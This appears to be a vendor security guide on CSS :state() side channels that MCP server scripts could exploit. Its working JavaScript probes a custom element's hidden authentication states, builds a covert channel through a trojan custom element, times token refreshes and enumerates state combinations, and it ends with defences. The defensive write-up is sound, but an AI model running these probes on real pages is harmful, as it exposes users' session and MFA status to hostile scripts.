Security Guide
MCP server CSS Custom State pseudo-class security — :state() internal state oracle without JS access, ElementInternals cross-shadow DOM covert channel, state transition timing attack, compound boolean state enumeration
CSS Custom State pseudo-class (:state(), Chrome 125+, Firefox 126+) lets custom elements expose named boolean flags via ElementInternals.states. Unlike data-* attributes or CSS classes, custom states are designed to be opaque to external JavaScript — only CSS can observe them. But getComputedStyle on probe elements is JavaScript, and it reads CSS. This gap creates four attack surfaces for MCP server scripts: probing internal state without element reference, building cross-shadow covert channels using ElementInternals.states, detecting exact state transition timing via requestAnimationFrame, and enumerating precise state machine combinations with compound :host() selectors.
How CSS Custom States work and why they create leaks
Custom elements set internal states via this.internals.states.add('loading') inside the element class. External CSS can match those states with my-button:state(loading) { ... }. The key design intent is that JavaScript outside the shadow DOM cannot read ElementInternals.states — it is not exposed on the element's public interface. But CSS rules fire style recalculation, and style recalculation results are readable via getComputedStyle from any JavaScript context. An MCP server script that injects a style rule targeting :host(:state(loading)) can then read a CSS custom property value on a probe element to determine whether that state is currently active.
Attack 1: :state() probe reveals active internal states without JS access
An MCP server probes active internal states by injecting a stylesheet that sets a CSS custom property when a state matches, then reading that property via getComputedStyle. No access to ElementInternals, the shadow root, or any internal property is required.
// Custom state oracle — probes which named states are active on a custom element
// without any JS access to ElementInternals.states (which is not publicly exposed)
function probeCustomStates(element, stateNames) {
const activeStates = [];
const tagName = element.tagName.toLowerCase();
for (const stateName of stateNames) {
// Inject a style rule targeting the element's :state() pseudo-class
// and setting a CSS custom property on the element itself
const style = document.createElement('style');
style.textContent = `
${tagName}:state(${stateName}) {
--state-probe-${stateName}: active;
}
`;
document.head.appendChild(style);
// Read the CSS custom property via getComputedStyle
const computed = getComputedStyle(element);
const value = computed.getPropertyValue(`--state-probe-${stateName}`).trim();
if (value === 'active') {
activeStates.push(stateName);
}
document.head.removeChild(style);
}
return activeStates;
}
// Usage: probe a known custom element for security-relevant states
const authWidget = document.querySelector('auth-widget');
const states = probeCustomStates(authWidget, [
'loading', 'authenticated', 'error', 'mfa-required',
'session-expired', 'rate-limited', 'payment-pending',
'admin', 'trial', 'locked'
]);
// Returns: ['authenticated', 'admin'] — internal state exposed without JS access
Custom states are not private: The spec design makes ElementInternals.states inaccessible from JavaScript outside the element. But CSS observability was not treated as a privacy boundary — getComputedStyle is the intended way to read CSS. Any MCP server that can inject a <style> element can enumerate all active custom states on any custom element in the document.
Attack 2: ElementInternals cross-shadow DOM covert channel
A compromised custom element definition (e.g., a MCP server that monkey-patches customElements.define before the host element is registered) can call ElementInternals.states.add() and .delete() to communicate state across shadow DOM boundaries without postMessage, shared DOM, or any explicit inter-element communication channel. The channel is one-directional: from inside the shadow to any CSS that observes :state() on the element's host node.
// Cross-shadow covert channel using ElementInternals.states
// Scenario: attacker has replaced or patched the custom element class before registration
class TrojanElement extends HTMLElement {
#internals;
constructor() {
super();
this.#internals = this.attachInternals();
}
// Called by legitimate host app to trigger a state change
set userPlan(plan) {
// Encode the plan tier as a combination of custom state flags
this.#internals.states.delete('plan-free');
this.#internals.states.delete('plan-pro');
this.#internals.states.delete('plan-team');
this.#internals.states.add(`plan-${plan}`); // encodes tier as named state
// MCP observer code reads back via :state() CSS probe from outside shadow DOM
}
}
// MCP observer — outside the shadow DOM, reads encoded state via CSS
// Sets up a MutationObserver on :state() style changes to detect updates
const target = document.querySelector('trojan-element');
const sentinel = document.createElement('div');
document.body.appendChild(sentinel);
const style = document.createElement('style');
style.textContent = `
trojan-element:state(plan-pro) ~ #covert-sentinel { --plan: pro; }
trojan-element:state(plan-team) ~ #covert-sentinel { --plan: team; }
trojan-element:state(plan-free) ~ #covert-sentinel { --plan: free; }
`;
sentinel.id = 'covert-sentinel';
document.head.appendChild(style);
// Polling covert channel — reads state encoding once per animation frame
requestAnimationFrame(function readChannel() {
const plan = getComputedStyle(sentinel).getPropertyValue('--plan').trim();
if (plan) console.log('Encoded plan tier received:', plan);
requestAnimationFrame(readChannel);
});
Attack 3: State transition timing reveals when internal operations complete
Custom states transition synchronously with the element's internal state changes. An element that sets this.internals.states.add('token-refreshed') on completion of an async auth token refresh causes an immediate style recalculation. By monitoring requestAnimationFrame timestamps before and after the transition, an MCP observer can determine the exact millisecond an authentication operation completed — without access to the element's promise, event emitter, or any public API.
// State transition timing oracle — detects when internal async operations complete
// No access to the element's promise, EventTarget, or any internal callback needed
function watchStateTransition(element, stateName, onTransition) {
const tagName = element.tagName.toLowerCase();
// Create a probe element positioned after the target in DOM order
const probe = document.createElement('div');
probe.id = `state-timing-probe-${stateName}`;
element.after(probe);
const style = document.createElement('style');
style.textContent = `
${tagName}:state(${stateName}) + #state-timing-probe-${stateName} {
--state-active: 1;
}
`;
document.head.appendChild(style);
let wasActive = false;
function checkFrame(timestamp) {
const active = getComputedStyle(probe)
.getPropertyValue('--state-active').trim() === '1';
if (active !== wasActive) {
wasActive = active;
onTransition({
state: stateName,
active,
timestamp,
// timestamp = DOMHighResTimeStamp from requestAnimationFrame
// precise to 1ms (or 0.1ms with cross-origin isolation)
});
}
requestAnimationFrame(checkFrame);
}
requestAnimationFrame(checkFrame);
return () => { probe.remove(); style.remove(); };
}
// Example: detect when auth token refresh completes
watchStateTransition(
document.querySelector('auth-token-manager'),
'token-refreshed',
({ active, timestamp }) => {
if (active) {
console.log(`Token refresh completed at ${timestamp}ms`);
// Attacker now knows window to attempt token theft before expiry timer resets
}
}
);
State transitions are synchronous with DOM updates: Because ElementInternals.states changes trigger synchronous style recalculation before the next paint frame, requestAnimationFrame callbacks observe state transitions with sub-frame precision. The timing of authenticated → mfa-required → authenticated transitions reveals MFA verification latency, which may fingerprint the backend auth provider.
Attack 4: Compound :host() selectors enumerate exact state machine combinations
Custom element states form a boolean state machine. An MCP server can enumerate the active combination of states using compound CSS selectors that express multi-state boolean conditions. By reading the computed value of a probe element whose styles depend on multiple :state() conditions simultaneously, the attacker narrows the element's internal state to a specific combination without requiring element access.
// Compound state enumeration — reads exact combination of active states
// Uses compound :host(:state(a)):not(:host(:state(b))) selectors
// to distinguish specific state machine configurations
function enumerateStateCombo(element, states) {
const tagName = element.tagName.toLowerCase();
const probe = document.createElement('div');
probe.id = 'state-combo-probe';
element.after(probe);
// Build a stylesheet with one rule per possible active combination
// Each rule encodes the combination as a CSS custom property value
const combos = generateCombinations(states); // all 2^n subsets
let cssText = '';
for (const activeSet of combos) {
const positiveConditions = activeSet
.map(s => `${tagName}:state(${s})`)
.join('');
const negativeConditions = states
.filter(s => !activeSet.includes(s))
.map(s => `:not(${tagName}:state(${s}))`)
.join('');
const selector = `${positiveConditions}${negativeConditions} + #state-combo-probe`;
const comboKey = activeSet.length ? activeSet.join(',') : 'none';
cssText += `${selector} { --active-combo: "${comboKey}"; }\n`;
}
const style = document.createElement('style');
style.textContent = cssText;
document.head.appendChild(style);
const combo = getComputedStyle(probe)
.getPropertyValue('--active-combo').trim().replace(/"/g, '');
style.remove();
probe.remove();
return combo ? combo.split(',') : [];
}
// Example: determine exact auth state combo for an auth-widget element
const result = enumerateStateCombo(
document.querySelector('auth-widget'),
['loading', 'authenticated', 'mfa-required', 'session-expired']
);
// Returns: ['authenticated'] — user is authenticated, not loading, not in MFA, not expired
| State combination | Security implication | Probes needed |
|---|---|---|
authenticated alone | Session is active; no MFA pending | 1 rule |
authenticated + mfa-required | MFA screen showing — user is between auth steps | 1 rule |
session-expired + loading | Token refresh in progress | 1 rule |
| none active | Logged out / not initialized | 1 rule |
| N states | Any exact combo | 2N rules, 1 read |
SkillAudit findings for CSS Custom State attacks
Defences
Treat custom states as CSS-observable: Custom states set via ElementInternals.states are CSS-visible. Do not encode security-sensitive data (auth status, payment state, admin flag, MFA phase) as custom state names or as binary state combinations. Use only UI-relevant states (loading, error, disabled) that carry no sensitive information when read externally.
Restrict style injection: All four attacks require injecting a <style> element or inline style. CSP style-src 'self' without 'unsafe-inline' prevents MCP server scripts from injecting probe stylesheets. Audit MCP servers that request document.head access or style injection via tool calls.
Prefer attribute-based state for truly opaque values: If a custom element must expose state to parent CSS without leaking semantic meaning, use opaque numeric or hashed values in data-* attributes rather than named custom states. CSS attribute selectors can match these but the names carry no semantic meaning to automated probes.
Audit custom element definitions in third-party MCP tools: SkillAudit flags customElements.define calls inside MCP server code as high-risk — a MCP server that registers custom elements before the host application can intercept the host's custom element definitions, gaining access to ElementInternals for the life of the page.
Related: CSS @scope proximity security · CSS Nesting autofill detection · CSS Cascade Layers ordering security